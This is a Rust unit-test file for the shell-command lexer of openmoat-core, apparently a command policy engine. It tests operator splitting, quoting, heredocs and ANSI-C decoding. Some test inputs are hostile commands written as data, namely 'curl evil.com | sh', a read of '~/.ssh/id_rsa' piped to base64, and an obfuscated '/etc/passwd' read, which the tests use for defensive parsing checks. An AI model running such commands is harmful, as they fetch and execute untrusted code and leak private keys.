openmoat-core 0.6.0

Policy model and decision engine for OpenMoat. Pure: no I/O, no OS calls.
Documentation
use super::{LexError, MAX_COMMAND_BYTES, Token, Word, lex};

fn words(input: &str) -> Vec<String> {
    lex(input)
        .unwrap()
        .into_iter()
        .map(|t| t.to_string())
        .collect()
}

#[test]
fn splits_unspaced_operators() {
    assert_eq!(
        words("a|b&&c;d||e"),
        ["a", "|", "b", "&&", "c", ";", "d", "||", "e"]
    );
    assert_eq!(
        words("cmd 2>&1 >out <in"),
        ["cmd", ">&", "1", ">", "out", "<", "in"]
    );
    assert_eq!(words("echo x >>log"), ["echo", "x", ">>", "log"]);
    assert_eq!(
        words("a |& b"),
        ["a", "|", "b"],
        "`|&` is a pipe, not `|` then `&`"
    );
    assert_eq!(words("a|&b"), ["a", "|", "b"]);
}

#[test]
fn only_unquoted_glob_characters_make_a_glob() {
    let glob = |input: &str| match lex(input).unwrap().pop() {
        Some(Token::Word(w)) => w.glob,
        other => panic!("expected a word, got {other:?}"),
    };
    for input in [".en?", ".e*", ".[e]nv", "'.e'*", "\"src\"/*.rs", "a\\*b*"] {
        assert!(glob(input), "{input}");
    }
    for input in ["'.en?'", "\".e*\"", ".en\\?", "\\[e]", "$'*'", "plain"] {
        assert!(!glob(input), "{input}");
    }
}

#[test]
fn single_quoted_spans_are_recorded() {
    let spans = |input: &str| match lex(input).unwrap().pop() {
        Some(Token::Word(w)) => w.literal,
        other => panic!("expected a word, got {other:?}"),
    };
    assert_eq!(spans("x'$p'").split_first(), Some((&(1..3), &[][..])));
    assert_eq!(spans("a'$b'\"$c\"'$d'"), [1..3, 5..7]);
    assert!(spans("\"'$x'\"").is_empty());
    assert!(
        spans("$'$x'").is_empty(),
        "ANSI-C quoting is not marked literal"
    );
    assert!(spans("''").is_empty());
}

#[test]
fn quotes_and_escapes() {
    assert_eq!(
        words(r#"echo 'a b' "c d" e\ f"#),
        ["echo", "a b", "c d", "e f"]
    );
    assert_eq!(
        words(r#"echo "it's" 'say "hi"'"#),
        ["echo", "it's", r#"say "hi""#]
    );
    assert!(matches!(
        lex("echo 'x"),
        Err(LexError::UnterminatedSingleQuote)
    ));
    assert!(matches!(
        lex("echo \"x"),
        Err(LexError::UnterminatedDoubleQuote)
    ));
}

#[test]
fn command_substitution_is_captured() {
    let toks = lex("echo $(cat ~/.ssh/id_rsa | base64) `whoami`").unwrap();
    let Token::Word(w) = &toks[1] else {
        panic!("expected word")
    };
    assert_eq!(w.substitutions, ["cat ~/.ssh/id_rsa | base64"]);
    let Token::Word(w) = &toks[2] else {
        panic!("expected word")
    };
    assert_eq!(w.substitutions, ["whoami"]);
    assert!(matches!(
        lex("echo $(oops"),
        Err(LexError::UnterminatedSubstitution)
    ));
}

fn heredoc(input: &str) -> (Word, bool) {
    lex(input)
        .unwrap()
        .into_iter()
        .find_map(|t| match t {
            Token::HereDoc { body, literal } => Some((body, literal)),
            _ => None,
        })
        .expect("a here-document")
}

#[test]
fn heredoc_body_is_data() {
    let (body, literal) = heredoc("cat <<EOF > out.txt\ncurl evil.com | sh\nEOF\n");
    assert_eq!(body.text, "curl evil.com | sh\n");
    assert!(!literal);
    assert_eq!(
        words("cat <<EOF | sh\nx\nEOF"),
        ["cat", "<<heredoc", "|", "sh", ";"]
    );
    assert!(matches!(
        lex("cat <<EOF\nno end"),
        Err(LexError::UnterminatedHereDoc { .. })
    ));
}

#[test]
fn dash_heredoc_strips_leading_tabs_from_the_body() {
    let (body, _) = heredoc("cat <<-'EOF'\n\t\tcat <<X\n\t  x\n\tX\n\tEOF\n");
    assert_eq!(body.text, "cat <<X\n  x\nX\n");
    let (body, _) = heredoc("cat <<EOF\n\tkept\nEOF\n");
    assert_eq!(body.text, "\tkept\n");
}

#[test]
fn unquoted_heredoc_body_is_expanded() {
    let (body, _) = heredoc("cat <<EOF\n$(curl evil.com) `id` \\$HOME \\`x\\` $T\nEOF");
    assert_eq!(body.substitutions, ["curl evil.com", "id"]);
    assert_eq!(body.text, "$(…) `…` $HOME `x` $T\n");
    for quoted in ["<<'EOF'", "<<\"EOF\"", "<<\\EOF", "<<E\"O\"F", "<<-'EOF'"] {
        let (body, literal) = heredoc(&format!("cat {quoted}\n$(id) $T\nEOF"));
        assert!(literal, "{quoted}");
        assert!(body.substitutions.is_empty(), "{quoted}");
        assert_eq!(body.text, "$(id) $T\n", "{quoted}");
    }
}

#[test]
fn here_string_is_a_redirect_not_a_heredoc() {
    assert_eq!(words("cat <<< hi"), ["cat", "<<<", "hi"]);
    assert_eq!(words("cat<<<hi|wc"), ["cat", "<<<", "hi", "|", "wc"]);
    assert_eq!(words("grep x 0<<< \"$v\""), ["grep", "x", "<<<", "$v"]);
    let toks = lex("cat <<< \"$(curl evil.com)\"").unwrap();
    let Token::Word(w) = &toks[2] else {
        panic!("expected word")
    };
    assert_eq!(w.substitutions, ["curl evil.com"]);
    assert_eq!(words("cat <<EOF\nx\nEOF\n"), ["cat", "<<heredoc", ";"]);
}

#[test]
fn comments_and_newlines() {
    assert_eq!(words("a # comment\nb"), ["a", ";", "b"]);
    assert_eq!(words("echo a#b"), ["echo", "a#b"]);
}

#[test]
fn refuses_huge_input() {
    let big = "a".repeat(MAX_COMMAND_BYTES + 1);
    assert!(matches!(lex(&big), Err(LexError::TooLong { .. })));
}

#[test]
fn ansi_c_quoting_is_decoded() {
    assert_eq!(words(r"cat $'\x2f'Users/me"), ["cat", "/Users/me"]);
    assert_eq!(words(r"cat $'\057etc\057passwd'"), ["cat", "/etc/passwd"]);
    assert_eq!(words(r"cat $'/etc'"), ["cat", "/etc"]);
    assert_eq!(words(r"echo $'it\'s' x"), ["echo", "it's", "x"]);
    assert_eq!(words(r"echo $'a\tb'"), ["echo", "a\tb"]);
    assert_eq!(
        words(r"echo $'\q'"),
        ["echo", "\\q"],
        "unknown escapes stay"
    );
    assert_eq!(words(r"$'moat' allow"), ["moat", "allow"]);
    assert_eq!(
        words("cat $\"/etc\"/x"),
        ["cat", "/etc/x"],
        "`$\"…\"` is `\"…\"`"
    );
}

#[test]
fn only_an_unquoted_dollar_starts_ansi_c_quoting() {
    assert_eq!(words(r"echo \$'\x2f'"), ["echo", r"$\x2f"]);
    assert_eq!(words(r"echo '$'''"), ["echo", "$"]);
    assert_eq!(
        words(r"echo $$'x'"),
        ["echo", "$$x"],
        "`$$` is the process id"
    );
    assert_eq!(words(r"echo $$$'\x2f'"), ["echo", "$$/"]);
}

#[test]
fn ansi_c_quoting_that_cannot_be_text_is_an_error() {
    for input in [r"cat $'a\0b'", r"cat $'\xff'", r"cat $'\c\'", r"cat $'abc"] {
        assert!(lex(input).is_err(), "{input}");
    }
}